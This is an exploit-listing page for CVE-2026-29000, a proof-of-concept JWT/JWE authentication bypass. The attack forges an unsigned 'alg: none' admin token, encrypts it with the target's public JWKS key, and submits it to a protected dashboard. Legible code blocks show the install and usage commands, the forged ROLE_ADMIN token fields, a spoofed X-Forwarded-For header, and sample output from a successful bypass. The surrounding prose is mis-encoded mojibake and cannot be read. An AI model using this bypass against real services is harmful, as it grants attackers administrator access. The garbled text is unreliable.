Sploitus

Exploit for CVE-2026-29000

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN153 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZF-TM-CVE-2026-29000
# JWT/JWE рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕ PoC

рдпрд╣ рдПрдХ Proof-of-Concept (PoC) рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ JSON Web Tokens (JWT) рдФрд░ JSON Web Encryption (JWE) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕ рдХрдордЬреЛрд░реА рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдЯреВрд▓ рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЯреЛрдХрди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХрд╛ рдЕрдиреБрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╕рддреНрдпрд╛рдкрди рдХрд░рддреЗ рд╣реИрдВ, рдмрд┐рдирд╛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдЧрдП JWTs (`alg: none`) рдХреЛ рдПрдХ рдорд╛рдиреНрдп JWE рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдЕрдВрджрд░ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдХреЗред

## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

рдпрд╣ рд╢реЛрд╖рдг рд╢реНрд░реГрдВрдЦрд▓рд╛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рджреЛрд╖ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ:

  1. **рдХреБрдВрдЬреА рдирд┐рд╖реНрдХрд░реНрд╖рдг:** рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдЬрд╛рдЧрд░ `jwks` (JSON Web Key Set) рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪрддреА рд╣реИ рдФрд░ рд╕рд░реНрд╡рд░ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ RSA рдХреБрдВрдЬреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреА рд╣реИред
  2. **рдЯреЛрдХрди рдЬрд╛рд▓рд╕рд╛рдЬреА:** рдпрд╣ `ROLE_ADMIN` рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдирдХрд▓реА, рдЕрдкреНрд░рдорд╛рдгрд┐рдд JWT рдкреЗрд▓реЛрдб рддреИрдпрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдмреВрдЭрдХрд░ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╣реЗрдбрд░ рдХреЛ `"alg": "none"` рдкрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
  3. **JWE рд░реИрдкрд┐рдВрдЧ:** рд╕рд╛рджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рдпрд╛ рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдЯреЛрдХрди рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдирдХрд▓реА JWT рдХреЛ рд╕рд░реНрд╡рд░ рдХреА рдЕрдкрдиреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ рдПрдХ рдорд╛рдиреНрдп JWE рдореЗрдВ рдкреИрдХ рдХрд░рддрд╛ рд╣реИред
  4. **рдкреНрд░рдорд╛рдгреАрдХрд░рдг:** рдЬрд╛рд▓реА JWE рдХреЛ `Authorization: Bearer` рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреИрд╢рдмреЛрд░реНрдб рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рд╕рд░реНрд╡рд░ JWE рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рдЖрдВрддрд░рд┐рдХ JWT рдкрд░ рдЖрдБрдЦ рдмрдВрдж рдХрд░рдХреЗ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред



## рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Python 3 рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрднрд░рддрд╛рдПрдБ рднреА рдореМрдЬреВрдж рд╣реИрдВред

root@kitploit:~
    
    
    pip install requests jwcrypto
    

## рдЙрдкрдпреЛрдЧ

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рджреЛ рддрд░реНрдХреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рд╡рд╣ рд▓рдХреНрд╖рд┐рдд рдбреИрд╢рдмреЛрд░реНрдб URL рдЬрд┐рд╕реЗ рдЖрдк рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдФрд░ рд╡рд╣ URL рдЬрд╣рд╛рдБ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬрд┐рдпрд╛рдБ рд╣реЛрд╕реНрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВред

root@kitploit:~
    
    
    python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
    

## рдПрдХреНрд╕рдкреНрд▓реЙрдпрдЯ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛

рдЖрдкрдХреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЖрдкрдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрдХрди рд╕рдВрд░рдЪрдирд╛ рдпрд╛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

  1. рдЖрдВрддрд░рд┐рдХ JWT рд╣реЗрдбрд░ рдФрд░ рдкреЗрд▓реЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛



рдпрджрд┐ рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ JWT рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝реАрд▓реНрдб рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ (рдЬреИрд╕реЗ typ рд╣реЗрдбрд░, рдпрд╛ рдкреЗрд▓реЛрдб рдореЗрдВ рдХрд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдИрдбреА), рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред

exploit.py рдЦреЛрд▓реЗрдВ рдФрд░ рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ:

root@kitploit:~
    
    
    token_header_information = {
        "alg": "none"
    }
    

root@kitploit:~
    
    
    token_user_information = {
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": current_time_in_seconds,
        "exp": expiration_time_in_seconds
    }
    

рдЖрдк рдЕрдкрдиреА рдЗрдЪреНрдЫрд╛рдиреБрд╕рд╛рд░ рдХреЛрдИ рднреА рдлрд╝реАрд▓реНрдб рдЕрд▓реНрдкрд╡рд┐рд░рд╛рдо рд╕реЗ рдЕрд▓рдЧ рдХрд░рдХреЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, JWT рд╣реЗрдбрд░ рдореЗрдВ typ (рдЯрд╛рдЗрдк) рдФрд░ kid (рдХреБрдВрдЬреА рдЖрдИрдбреА) рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдФрд░ рдкреЗрд▓реЛрдб рдореЗрдВ рдПрдХ рдХрд╕реНрдЯрдо рдИрдореЗрд▓ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП:

root@kitploit:~
    
    
    token_header_information = {
        "alg": "none",
        "typ": "JWT",
        "kid": "my-custom-key-id"
    }
    

root@kitploit:~
    
    
    token_user_information = {
        "sub": "admin",
        "email": "some-email@example.com",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": current_time_in_seconds,
        "exp": expiration_time_in_seconds
    }
    

  2. HTTP рд╣реЗрдбрд░ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛



рдпрджрд┐ рдЖрдкрдХреЗ рд▓рдХреНрд╖реНрдп рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреЗрдЯрд╡рд░реНрдХ рд╣реЗрдбрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд╕реНрдЯрдо User-Agent, X-Forwarded-For рдЬреИрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рд╣реЗрдбрд░, рдпрд╛ API рдХреБрдВрдЬрд┐рдпрд╛рдБ), рддреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рдЪрд▓реЗ рднрд╛рдЧ рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ:

root@kitploit:~
    
    
    custom_authorization_header = {
        "Authorization": "Bearer " + final_forged_token
    }
    

рдЕрдкрдиреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдиреЗрдЯрд╡рд░реНрдХ рд╣реЗрдбрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЬреЛрдбрд╝реЗрдВ:

root@kitploit:~
    
    
    custom_authorization_header = {
        "Authorization": "Bearer " + final_forged_token,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "X-Forwarded-For": "127.0.0.1",
        "Accept": "application/json"
    }
    

рдиреЛрдЯ: рдпрджрд┐ рдЖрдкрдХреЛ рдпреЗ рд╣реЗрдбрд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдбрд╛рдЙрдирд▓реЛрдб рдХреЗ рджреМрд░рд╛рди рднреА рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реА рдбрд┐рдХреНрд╢рдирд░реА рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ requests.get() рдХреЙрд▓ рдореЗрдВ рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

## рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ

рд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬрд╛рд▓реА рдЯреЛрдХрди рдФрд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдкрд╛рд░реНрд╕ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдЧреА, рдЬреЛ рдмрд╛рдпрдкрд╛рд╕ рдХреЛ рд╕рд┐рджреНрдз рдХрд░рддреА рд╣реИ:

root@kitploit:~
    
    
    Starting process...
    Connecting to download public keys from: https://target-site.com/api/auth/jwks
    Success! Downloaded the key with ID: 12345-abcde
    Creating a fake administrator identity card...
    Encrypting our fake identity using the server's public key...
    Successfully created the encrypted master token!
    
    Here is your forged token:
    eyJhbGciOiJSU0EtT0FFUC...
    
    Attempting to break into the dashboard...
    Sending our forged token to: https://target-site.com/api/dashboard
    
    SUCCESS! We bypassed the security.
    The server thinks we are:
    Username: admin
    Account Type: ROLE_ADMIN
    

## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг

  * HTTP 401/403 рддреНрд░реБрдЯрд┐рдпрд╛рдБ: рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ alg: none рдкреЗрд▓реЛрдб рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИред рдПрдХреНрд╕рдкреНрд▓реЙрдпрдЯ рд╡рд┐рдлрд▓ рд░рд╣рд╛ рдХреНрдпреЛрдВрдХрд┐ рд▓рдХреНрд╖реНрдп рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред
  * рдХрдиреЗрдХреНрд╢рди рддреНрд░реБрдЯрд┐рдпрд╛рдБ: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рджрд┐рдП рдЧрдП URL рдореЗрдВ рдкреВрд░реНрдг рд╕реНрдХреАрдо (http:// рдпрд╛ https://) рд╢рд╛рдорд┐рд▓ рд╣реИ рдФрд░ рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реИред
  * рдирд┐рд░реНрднрд░рддрд╛ рддреНрд░реБрдЯрд┐рдпрд╛рдБ: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ jwcrypto pip рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реИред